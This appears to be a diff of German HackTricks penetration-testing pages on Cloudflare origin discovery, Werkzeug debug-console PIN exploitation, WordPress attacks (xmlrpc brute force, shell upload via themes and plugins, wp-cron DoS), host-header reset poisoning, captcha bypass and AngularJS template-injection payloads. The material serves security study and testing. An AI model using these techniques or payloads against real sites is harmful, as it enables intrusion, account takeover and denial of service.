- Suchen Sie eine einzigartige Zeichenfolge der Webseite in Browsern wie Shodan (und vielleicht Google und ähnlichen?). Vielleicht finden Sie eine IP-Adresse mit diesem Inhalt.
- In ähnlicher Weise könnten Sie anstelle der Suche nach einer einzigartigen Zeichenfolge das Favicon-Icon mit dem Tool: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) oder mit [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up) suchen.
@ -41,7 +41,9 @@ Beachten Sie, dass dies, auch wenn es für AWS-Maschinen durchgeführt wurde, f
Für eine bessere Beschreibung dieses Prozesses siehe:
{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#ref}}
https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
{{#endref}}
```bash
# Find open ports
sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt
@ -85,7 +87,7 @@ Manchmal möchte man einfach Cloudflare umgehen, um nur die Webseite zu scrapen.
### Tools
Einige Tools wie die folgenden können Cloudflares Schutz gegen Scraping umgehen (oder konnten es):
Einige Tools wie die folgenden können Cloudflares Schutz gegen Scraping umgehen (oder konnten es umgehen):
- [https://github.com/sarperavci/CloudflareBypassForScraping](https://github.com/sarperavci/CloudflareBypassForScraping)
@ -128,7 +130,7 @@ Das Reverse Engineering von Cloudflares Anti-Bot-Maßnahmen ist eine Taktik, die
**Vorteile:** Diese Methode ermöglicht die Erstellung eines äußerst effizienten Bypasses, der speziell auf Cloudflares Prüfungen abzielt, ideal für großangelegte Operationen.
**Nachteile:** Der Nachteil ist die Komplexität, die mit dem Verständnis und der Täuschung von Cloudflares absichtlich obskurem Anti-Bot-System verbunden ist, was fortlaufende Anstrengungen erfordert, um verschiedene Strategien zu testen und den Bypass zu aktualisieren, während Cloudflare seine Schutzmaßnahmen verbessert.
**Nachteile:** Der Nachteil ist die Komplexität, die mit dem Verständnis und der Täuschung von Cloudflares absichtlich undurchsichtigem Anti-Bot-System verbunden ist, was fortlaufende Anstrengungen erfordert, um verschiedene Strategien zu testen und den Bypass zu aktualisieren, während Cloudflare seine Schutzmaßnahmen verbessert.
Weitere Informationen dazu finden Sie im [ursprünglichen Artikel](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/).

14
src/network-services-pentesting/pentesting-web/werkzeug.md
View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Console RCE
Wenn das Debugging aktiv ist, könnten Sie versuchen, auf `/console` zuzugreifen und RCE zu erlangen.
@ -25,9 +24,9 @@ The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
Eine Nachricht bezüglich des Szenarios "Konsole gesperrt" wird angezeigt, wenn versucht wird, auf die Debug-Schnittstelle von Werkzeug zuzugreifen, was darauf hinweist, dass eine PIN erforderlich ist, um die Konsole zu entsperren. Es wird vorgeschlagen, die Konsolen-PIN auszunutzen, indem der Algorithmus zur PIN-Generierung in der Initialisierungsdatei von Werkzeug (`__init__.py`) analysiert wird. Der Mechanismus zur PIN-Generierung kann im [**Werkzeug-Quellcode-Repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) studiert werden, es wird jedoch geraten, den tatsächlichen Servercode über eine Dateitraversal-Sicherheitsanfälligkeit zu beschaffen, um mögliche Versionsunterschiede zu vermeiden.
Eine Nachricht bezüglich des "console locked"-Szenarios wird angezeigt, wenn versucht wird, auf die Debug-Schnittstelle von Werkzeug zuzugreifen, was darauf hinweist, dass eine PIN erforderlich ist, um die Konsole zu entsperren. Es wird vorgeschlagen, die Konsolen-PIN auszunutzen, indem der PIN-Generierungsalgorithmus in der Debug-Initialisierungsdatei von Werkzeug (`__init__.py`) analysiert wird. Der PIN-Generierungsmechanismus kann im [**Werkzeug-Quellcode-Repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) studiert werden, es wird jedoch geraten, den tatsächlichen Servercode über eine Dateitraversal-Schwachstelle zu beschaffen, um mögliche Versionsunterschiede zu vermeiden.
Um die Konsolen-PIN auszunutzen, werden zwei Variablen-Sets benötigt: `probably_public_bits` und `private_bits`:
Um die Konsolen-PIN auszunutzen, werden zwei Variablenmengen benötigt: `probably_public_bits` und `private_bits`:
#### **`probably_public_bits`**
@ -40,7 +39,7 @@ Um die Konsolen-PIN auszunutzen, werden zwei Variablen-Sets benötigt: `probably
- **`uuid.getnode()`**: Ruft die MAC-Adresse des aktuellen Geräts ab, wobei `str(uuid.getnode())` sie in ein dezimales Format übersetzt.
- Um **die MAC-Adresse des Servers zu bestimmen**, muss die aktive Netzwerkschnittstelle identifiziert werden, die von der App verwendet wird (z. B. `ens3`). Bei Unsicherheiten **leaken Sie `/proc/net/arp`**, um die Geräte-ID zu finden, und extrahieren Sie dann die MAC-Adresse aus **`/sys/class/net/<device id>/address`**.
- Um **die MAC-Adresse des Servers zu bestimmen**, muss die aktive Netzwerkschnittstelle identifiziert werden, die von der App verwendet wird (z. B. `ens3`). Bei Unsicherheiten **leaken Sie `/proc/net/arp`**, um die Geräte-ID zu finden, und **extrahieren Sie die MAC-Adresse** aus **`/sys/class/net/<device id>/address`**.
- Die Umwandlung einer hexadezimalen MAC-Adresse in dezimal kann wie folgt durchgeführt werden:
```python
@ -150,11 +149,13 @@ Dieses Skript erzeugt die PIN, indem es die verketteten Bits hasht, spezifische
Wie in [**diesem Problem**](https://github.com/pallets/werkzeug/issues/2833) beobachtet, schließt Werkzeug eine Anfrage mit Unicode-Zeichen in den Headern nicht ab. Und wie in [**diesem Bericht**](https://mizu.re/post/twisty-python) erklärt, kann dies eine CL.0 Request Smuggling-Schwachstelle verursachen.
Das liegt daran, dass es in Werkzeug möglich ist, einige **Unicode**-Zeichen zu senden, was den Server **zum Absturz** bringen kann. Wenn jedoch die HTTP-Verbindung mit dem Header **`Connection: keep-alive`** erstellt wurde, wird der Body der Anfrage nicht gelesen und die Verbindung bleibt weiterhin offen, sodass der **Body** der Anfrage als die **nächste HTTP-Anfrage** behandelt wird.
Das liegt daran, dass es in Werkzeug möglich ist, einige **Unicode**-Zeichen zu senden, was den Server **zum Absturz** bringen kann. Wenn jedoch die HTTP-Verbindung mit dem Header **`Connection: keep-alive`** erstellt wurde, wird der Body der Anfrage nicht gelesen und die Verbindung bleibt weiterhin offen, sodass der **Body** der Anfrage als **nächste HTTP-Anfrage** behandelt wird.
## Automatisierte Ausnutzung
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
{{#ref}}
https://github.com/Ruulian/wconsole_extractor
{{#endref}}
## Referenzen
@ -163,5 +164,4 @@ Das liegt daran, dass es in Werkzeug möglich ist, einige **Unicode**-Zeichen zu
- [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
- [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
{{#include ../../banners/hacktricks-training.md}}

38
src/network-services-pentesting/pentesting-web/wordpress.md
View File

@ -5,32 +5,32 @@
## Grundinformationen
- **Hochgeladene** Dateien gehen zu: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Theme-Dateien finden Sie in /wp-content/themes/,** also wenn Sie etwas php des Themes ändern, um RCE zu erhalten, werden Sie wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Mit **Theme twentytwelve** können Sie die **404.php** Datei in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) **zugreifen**.
- **Theme-Dateien finden sich in /wp-content/themes/,** also wenn Sie etwas PHP des Themes ändern, um RCE zu erhalten, werden Sie wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Mit **Theme twentytwelve** können Sie die **404.php**-Datei unter: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) **zugreifen**.
- **Eine weitere nützliche URL könnte sein:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- In **wp-config.php** finden Sie das Root-Passwort der Datenbank.
- Standard-Login-Pfade zum Überprüfen: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Haupt WordPress Dateien**
### **Haupt WordPress-Dateien**
- `index.php`
- `license.txt` enthält nützliche Informationen wie die installierte Version von WordPress.
- `wp-activate.php` wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Seite verwendet.
- `license.txt` enthält nützliche Informationen wie die installierte WordPress-Version.
- `wp-activate.php` wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Website verwendet.
- Login-Ordner (könnten umbenannt werden, um sie zu verbergen):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` ist eine Datei, die eine Funktion von WordPress darstellt, die es ermöglicht, Daten über HTTP zu übertragen, wobei HTTP als Transportmechanismus und XML als Kodierungsmechanismus fungiert. Diese Art der Kommunikation wurde durch die WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ersetzt.
- Der `wp-content` Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert sind.
- Der `wp-content`-Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert sind.
- `wp-content/uploads/` ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert werden.
- `wp-includes/` Dies ist das Verzeichnis, in dem Kern-Dateien gespeichert sind, wie Zertifikate, Schriftarten, JavaScript-Dateien und Widgets.
- `wp-sitemap.xml` In WordPress-Versionen 5.5 und höher generiert WordPress eine Sitemap-XML-Datei mit allen öffentlichen Beiträgen und öffentlich abfragbaren Beitragstypen und Taxonomien.
**Post-Exploitation**
- Die `wp-config.php` Datei enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie den Datenbanknamen, den Datenbank-Host, den Benutzernamen und das Passwort, Authentifizierungsschlüssel und Salze sowie das Datenbanktabellen-Präfix. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann.
- Die Datei `wp-config.php` enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie den Datenbanknamen, den Datenbank-Host, den Benutzernamen und das Passwort, Authentifizierungsschlüssel und Salze sowie das Datenbanktabellen-Präfix. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann.
### Benutzerberechtigungen
@ -132,13 +132,13 @@ Um zu sehen, ob es aktiv ist, versuchen Sie, auf _**/xmlrpc.php**_ zuzugreifen u
</params>
</methodCall>
```
Die Nachricht _"Falscher Benutzername oder Passwort"_ sollte in einer 200-Code-Antwort erscheinen, wenn die Anmeldeinformationen ungültig sind.
Die Nachricht _"Ungültiger Benutzername oder Passwort"_ innerhalb einer 200-Code-Antwort sollte erscheinen, wenn die Anmeldeinformationen nicht gültig sind.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
Mit den richtigen Anmeldeinformationen können Sie eine Datei hochladen. In der Antwort wird der Pfad angezeigt ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Mit den richtigen Anmeldeinformationen können Sie eine Datei hochladen. In der Antwort wird der Pfad erscheinen ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```markup
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -210,7 +210,7 @@ Schauen Sie sich die Verwendung von **`system.multicall`** im vorherigen Abschni
### wp-cron.php DoS
Diese Datei existiert normalerweise im Root-Verzeichnis der Wordpress-Seite: **`/wp-cron.php`**\
Wenn diese Datei **zugänglich** ist, wird eine "**schwere**" MySQL **Abfrage** ausgeführt, die von **Angreifern** genutzt werden könnte, um einen **DoS** zu **verursachen**.\
Wenn diese Datei **zugegriffen** wird, wird eine "**schwere**" MySQL **Abfrage** ausgeführt, die von **Angreifern** genutzt werden könnte, um eine **DoS** zu **verursachen**.\
Außerdem wird standardmäßig die `wp-cron.php` bei jedem Seitenaufruf (jedes Mal, wenn ein Client eine Wordpress-Seite anfordert) aufgerufen, was auf stark frequentierten Seiten Probleme (DoS) verursachen kann.
Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten Cronjob im Host zu erstellen, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
@ -225,7 +225,9 @@ Dies ist die Antwort, wenn es nicht funktioniert:
## SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
{{#ref}}
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Dieses Tool überprüft, ob der **methodName: pingback.ping** und der Pfad **/wp-json/oembed/1.0/proxy** existieren, und versucht, diese auszunutzen.
@ -237,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Zugriff durch Überschreiben eines Bits erhalten
Mehr als ein echter Angriff ist dies eine Neugier. Im CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konntest du 1 Bit aus einer beliebigen WordPress-Datei umkehren. Du konntest also die Position `5389` der Datei `/var/www/html/wp-includes/user.php` umkehren, um die NOT-Operation (`!`) zu NOPen.
Mehr als ein echter Angriff ist dies eine Neugier. Im CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konnte man 1 Bit aus einer beliebigen WordPress-Datei umkehren. Man konnte also die Position `5389` der Datei `/var/www/html/wp-includes/user.php` umkehren, um die NOT-Operation (`!`) zu NOPen.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
@ -283,7 +285,7 @@ Klicken Sie auf Fortfahren:
![](<../../images/image (70).png>)
Wahrscheinlich wird dies anscheinend nichts bewirken, aber wenn Sie zu Medien gehen, werden Sie Ihre hochgeladene Shell sehen:
Wahrscheinlich wird dies anscheinend nichts bewirken, aber wenn Sie zu Medien gehen, werden Sie Ihre Shell hochgeladen sehen:
![](<../../images/image (462).png>)
@ -297,7 +299,7 @@ Diese Methode beinhaltet die Installation eines bösartigen Plugins, das als anf
1. **Plugin-Akquisition**: Das Plugin wird aus einer Quelle wie Exploit DB wie [**hier**](https://www.exploit-db.com/exploits/36374) bezogen.
2. **Plugin-Installation**:
- Navigieren Sie zum WordPress-Dashboard, gehen Sie dann zu `Dashboard > Plugins > Plugin hochladen`.
- Navigieren Sie zum WordPress-Dashboard, dann zu `Dashboard > Plugins > Plugin hochladen`.
- Laden Sie die Zip-Datei des heruntergeladenen Plugins hoch.
3. **Plugin-Aktivierung**: Sobald das Plugin erfolgreich installiert ist, muss es über das Dashboard aktiviert werden.
4. **Ausnutzung**:
@ -305,7 +307,7 @@ Diese Methode beinhaltet die Installation eines bösartigen Plugins, das als anf
- Das Metasploit-Framework bietet einen Exploit für diese Schwachstelle. Durch Laden des entsprechenden Moduls und Ausführen spezifischer Befehle kann eine Meterpreter-Sitzung eingerichtet werden, die unbefugten Zugriff auf die Site gewährt.
- Es wird angemerkt, dass dies nur eine der vielen Methoden ist, um eine WordPress-Website auszunutzen.
Der Inhalt enthält visuelle Hilfsmittel, die die Schritte im WordPress-Dashboard zur Installation und Aktivierung des Plugins darstellen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise illegal und unethisch ist, ohne die entsprechende Genehmigung. Diese Informationen sollten verantwortungsbewusst und nur in einem rechtlichen Kontext verwendet werden, wie z.B. bei Penetrationstests mit ausdrücklicher Genehmigung.
Der Inhalt enthält visuelle Hilfsmittel, die die Schritte im WordPress-Dashboard zur Installation und Aktivierung des Plugins darstellen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise illegal und unethisch ist, ohne die entsprechende Genehmigung. Diese Informationen sollten verantwortungsbewusst und nur in einem rechtlichen Kontext verwendet werden, wie z.B. beim Penetration Testing mit ausdrücklicher Genehmigung.
**Für detailliertere Schritte siehe:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
@ -336,7 +338,7 @@ Zu wissen, wie ein Wordpress-Plugin Funktionen offenlegen kann, ist entscheidend
- **`wp_ajax`**&#x20;
Eine der Möglichkeiten, wie ein Plugin Funktionen für Benutzer offenlegen kann, ist über AJAX-Handler. Diese könnten Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Darüber hinaus ist es häufig der Fall, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress-Nonce stützen, den **jeder Benutzer, der in der Wordpress-Instanz authentifiziert ist, haben könnte** (unabhängig von seiner Rolle).
Eine der Möglichkeiten, wie ein Plugin Funktionen für Benutzer offenlegen kann, ist über AJAX-Handler. Diese könnten Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Darüber hinaus ist es häufig der Fall, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress-Nonce stützen, den **jeder in der Wordpress-Instanz authentifizierte Benutzer haben könnte** (unabhängig von seiner Rolle).
Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin offenzulegen:
```php
@ -346,7 +348,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
**Die Verwendung von `nopriv` macht den Endpunkt für alle Benutzer zugänglich (auch für nicht authentifizierte).**
> [!CAUTION]
> Darüber hinaus, wenn die Funktion nur die Autorisierung des Benutzers mit der Funktion `wp_verify_nonce` überprüft, überprüft diese Funktion nur, ob der Benutzer angemeldet ist, normalerweise wird die Rolle des Benutzers nicht überprüft. Daher könnten niedrig privilegierte Benutzer Zugriff auf hoch privilegierte Aktionen haben.
> Darüber hinaus, wenn die Funktion nur die Autorisierung des Benutzers mit der Funktion `wp_verify_nonce` überprüft, prüft diese Funktion nur, ob der Benutzer angemeldet ist, sie überprüft normalerweise nicht die Rolle des Benutzers. Daher könnten Benutzer mit niedrigen Berechtigungen Zugriff auf hochprivilegierte Aktionen haben.
- **REST API**
@ -360,7 +362,7 @@ $this->namespace, '/get/', array(
)
);
```
Der `permission_callback` ist ein Rückruf an eine Funktion, die überprüft, ob ein gegebener Benutzer berechtigt ist, die API-Methode aufzurufen.
Der `permission_callback` ist ein Callback zu einer Funktion, die überprüft, ob ein gegebener Benutzer berechtigt ist, die API-Methode aufzurufen.
**Wenn die eingebaute `__return_true`-Funktion verwendet wird, wird die Überprüfung der Benutzerberechtigungen einfach übersprungen.**

9
src/other-web-tricks.md
View File

@ -2,7 +2,6 @@
{{#include ./banners/hacktricks-training.md}}
### Host-Header
Mehrmals vertraut das Backend dem **Host-Header**, um einige Aktionen durchzuführen. Zum Beispiel könnte es seinen Wert als **Domain für das Senden eines Passwort-Reset** verwenden. Wenn Sie also eine E-Mail mit einem Link zum Zurücksetzen Ihres Passworts erhalten, ist die verwendete Domain die, die Sie im Host-Header eingegeben haben. Dann können Sie die Passwortzurücksetzung anderer Benutzer anfordern und die Domain auf eine von Ihnen kontrollierte ändern, um deren Passwort-Reset-Codes zu stehlen. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
@ -10,7 +9,6 @@ Mehrmals vertraut das Backend dem **Host-Header**, um einige Aktionen durchzufü
> [!WARNING]
> Beachten Sie, dass es möglich ist, dass Sie nicht einmal warten müssen, bis der Benutzer auf den Link zum Zurücksetzen des Passworts klickt, um das Token zu erhalten, da möglicherweise sogar **Spam-Filter oder andere Zwischengeräte/Bots darauf klicken, um es zu analysieren**.
### Sitzungs-Boolean
Manchmal, wenn Sie eine Überprüfung korrekt abschließen, wird das Backend **einfach ein Boolean mit dem Wert "True" zu einem Sicherheitsattribut Ihrer Sitzung hinzufügen**. Dann wird ein anderer Endpunkt wissen, ob Sie diese Überprüfung erfolgreich bestanden haben.\
@ -26,13 +24,14 @@ Registrieren Sie eine E-Mail, ändern Sie die E-Mail, bevor Sie sie bestätigen,
### Zugriff auf den internen Servicedesk von Unternehmen, die Atlassian verwenden
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
{{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### TRACE-Methode
Entwickler könnten vergessen, verschiedene Debugging-Optionen in der Produktionsumgebung zu deaktivieren. Zum Beispiel ist die HTTP `TRACE`-Methode für Diagnosezwecke gedacht. Wenn sie aktiviert ist, wird der Webserver auf Anfragen, die die `TRACE`-Methode verwenden, mit der genauen Anfrage, die empfangen wurde, in der Antwort reagieren. Dieses Verhalten ist oft harmlos, führt aber gelegentlich zu Informationslecks, wie z.B. den Namen interner Authentifizierungsheader, die von Reverse-Proxys an Anfragen angehängt werden können.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
Entwickler könnten vergessen, verschiedene Debugging-Optionen in der Produktionsumgebung zu deaktivieren. Zum Beispiel ist die HTTP `TRACE`-Methode für Diagnosezwecke gedacht. Wenn sie aktiviert ist, antwortet der Webserver auf Anfragen, die die `TRACE`-Methode verwenden, indem er in der Antwort die genaue Anfrage zurückgibt, die empfangen wurde. Dieses Verhalten ist oft harmlos, führt aber gelegentlich zu Informationslecks, wie z.B. den Namen interner Authentifizierungsheader, die von Reverse-Proxys an Anfragen angehängt werden können.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)
{{#include ./banners/hacktricks-training.md}}

12
src/pentesting-web/captcha-bypass.md
View File

@ -10,8 +10,8 @@ Um das **Captcha** während des **Servertests** zu **umgehen** und Benutzerinter
- **Captcha-Parameter weglassen**: Vermeiden Sie das Senden des Captcha-Parameters. Experimentieren Sie mit der Änderung der HTTP-Methode von POST zu GET oder anderen Verben und ändern Sie das Datenformat, z. B. durch Wechsel zwischen Formulardaten und JSON.
- **Leeres Captcha senden**: Senden Sie die Anfrage mit dem Captcha-Parameter, der vorhanden, aber leer gelassen wird.
2. **Wertextraktion und Wiederverwendung**:
- **Quellcode-Inspektion**: Suchen Sie nach dem Captcha-Wert im Quellcode der Seite.
- **Cookie-Analyse**: Untersuchen Sie die Cookies, um herauszufinden, ob der Captcha-Wert gespeichert und wiederverwendet wird.
- **Quellcodeinspektion**: Suchen Sie nach dem Captcha-Wert im Quellcode der Seite.
- **Cookie-Analyse**: Untersuchen Sie die Cookies, um festzustellen, ob der Captcha-Wert gespeichert und wiederverwendet wird.
- **Alte Captcha-Werte wiederverwenden**: Versuchen Sie, zuvor erfolgreiche Captcha-Werte erneut zu verwenden. Beachten Sie, dass sie jederzeit ablaufen können.
- **Sitzungsmanipulation**: Versuchen Sie, denselben Captcha-Wert in verschiedenen Sitzungen oder mit derselben Sitzungs-ID zu verwenden.
3. **Automatisierung und Erkennung**:
@ -21,7 +21,7 @@ Um das **Captcha** während des **Servertests** zu **umgehen** und Benutzerinter
- Verwenden Sie Tools zur optischen Zeichenerkennung (OCR) wie [Tesseract OCR](https://github.com/tesseract-ocr/tesseract), um das Lesen von Zeichen aus Bildern zu automatisieren.
4. **Zusätzliche Techniken**:
- **Rate-Limit-Tests**: Überprüfen Sie, ob die Anwendung die Anzahl der Versuche oder Einreichungen in einem bestimmten Zeitraum begrenzt und ob dieses Limit umgangen oder zurückgesetzt werden kann.
- **Drittanbieter-Dienste**: Nutzen Sie Dienste oder APIs zur Captcha-Lösung, die automatisierte Captcha-Erkennung und -Lösung anbieten.
- **Drittanbieter-Dienste**: Nutzen Sie Dienste oder APIs zur Captcha-Lösung, die eine automatisierte Captcha-Erkennung und -Lösung anbieten.
- **Sitzungs- und IP-Rotation**: Ändern Sie häufig Sitzungs-IDs und IP-Adressen, um eine Erkennung und Blockierung durch den Server zu vermeiden.
- **User-Agent- und Header-Manipulation**: Ändern Sie den User-Agent und andere Anfrage-Header, um verschiedene Browser oder Geräte zu imitieren.
- **Audio-Captcha-Analyse**: Wenn eine Audio-Captcha-Option verfügbar ist, verwenden Sie Sprach-zu-Text-Dienste, um das Captcha zu interpretieren und zu lösen.
@ -30,8 +30,10 @@ Um das **Captcha** während des **Servertests** zu **umgehen** und Benutzerinter
### [CapSolver](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass)
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) ist ein KI-gestützter Dienst, der sich auf die automatische Lösung verschiedener Arten von Captchas spezialisiert hat und die Datensammlung unterstützt, indem er Entwicklern hilft, die Captcha-Herausforderungen beim Web Scraping leicht zu überwinden. Er unterstützt Captchas wie **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest und Cloudflare turnstile unter anderem**. Für Entwickler bietet Capsolver API-Integrationsoptionen, die in der [**Dokumentation**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** detailliert beschrieben sind, um die Integration der Captcha-Lösung in Anwendungen zu erleichtern. Sie bieten auch Browsererweiterungen für [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) und [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), die es einfach machen, ihren Dienst direkt im Browser zu nutzen. Verschiedene Preispakete sind verfügbar, um unterschiedlichen Bedürfnissen gerecht zu werden und Flexibilität für die Benutzer zu gewährleisten.
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) ist ein KI-gestützter Dienst, der sich auf die automatische Lösung verschiedener Arten von Captchas spezialisiert hat und die Datensammlung unterstützt, indem er Entwicklern hilft, die Captcha-Herausforderungen beim Web-Scraping leicht zu überwinden. Er unterstützt Captchas wie **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest und Cloudflare turnstile unter anderem**. Für Entwickler bietet Capsolver API-Integrationsoptionen, die in der [**Dokumentation**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** detailliert beschrieben sind, um die Integration der Captcha-Lösung in Anwendungen zu erleichtern. Sie bieten auch Browsererweiterungen für [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) und [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), die es einfach machen, ihren Dienst direkt im Browser zu nutzen. Verschiedene Preispakete sind verfügbar, um unterschiedlichen Bedürfnissen gerecht zu werden und Flexibilität für die Benutzer zu gewährleisten.
{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %}
{{#ref}}
https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

9
src/pentesting-web/client-side-template-injection-csti.md
View File

@ -2,7 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
## Zusammenfassung
Es ist wie eine [**Server Side Template Injection**](ssti-server-side-template-injection/), aber im **Client**. Die **SSTI** kann es Ihnen ermöglichen, **Code** auf dem Remote-Server auszuführen, die **CSTI** könnte es Ihnen ermöglichen, **willkürlichen JavaScript**-Code im Browser des Opfers auszuführen.
@ -24,8 +23,7 @@ In Szenarien, in denen Benutzereingaben dynamisch in den HTML-Body eingefügt we
```
Sie können ein sehr **einfaches Online-Beispiel** der Verwundbarkeit in **AngularJS** unter [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) und in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) finden.
> [!CAUTION]
> [**Angular 1.6 entfernte die Sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html), sodass ab dieser Version ein Payload wie `{{constructor.constructor('alert(1)')()}}` oder `<input ng-focus=$event.view.alert('XSS')>` funktionieren sollte.
> [!CAUTION] > [**Angular 1.6 hat den Sandbox entfernt**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html), sodass ab dieser Version ein Payload wie `{{constructor.constructor('alert(1)')()}}` oder `<input ng-focus=$event.view.alert('XSS')>` funktionieren sollte.
## VueJS
@ -73,7 +71,8 @@ javascript:alert(1)%252f%252f..%252fcss-images
## **Brute-Force Erkennungsliste**
